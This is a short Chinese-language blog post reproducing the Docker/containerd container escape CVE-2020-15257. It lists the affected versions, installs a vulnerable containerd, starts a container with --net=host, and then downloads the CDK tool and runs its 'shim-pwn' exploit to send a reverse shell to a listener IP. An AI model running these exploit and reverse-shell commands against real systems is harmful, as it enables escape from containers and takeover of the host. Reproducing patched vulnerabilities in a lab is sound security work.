Docker 容器逃逸漏洞 (CVE-2020-15257)

 

漏洞简述:

当在docker使用–net=host参数启动,与宿主机共享net namespace时,容器中的攻击者可以绕过访问权限访问 containerd 的控制API 进而导致权限提升。

 

漏洞利用:

(1)安装有漏洞的containerd版本,影响版本containerd< 1.3.9&&containerd < 1.4.3

#列出仓库中可用的版本,安装特定版本的 Docker Engine-Community
apt-cache madison docker-ce
sudo apt-get install docker-ce=<VERSION_STRING> docker-ce-cli=<VERSION_STRING> containerd.io=<VERSION_STRING>

 

(2)通过--net=host 作为启动参数来运行一个容器:

sudo docker run -it --net=host ubuntu:18.04 /bin/bash

在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字.

(3)通过CDK执行exp,成功反弹shell,实现容器逃逸。

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz 
./cdk_linux_amd64 run shim-pwn 10.1.1.209 12345

 

posted @ 2020-12-26 19:13  Bypass  阅读(216)  评论(0编辑  收藏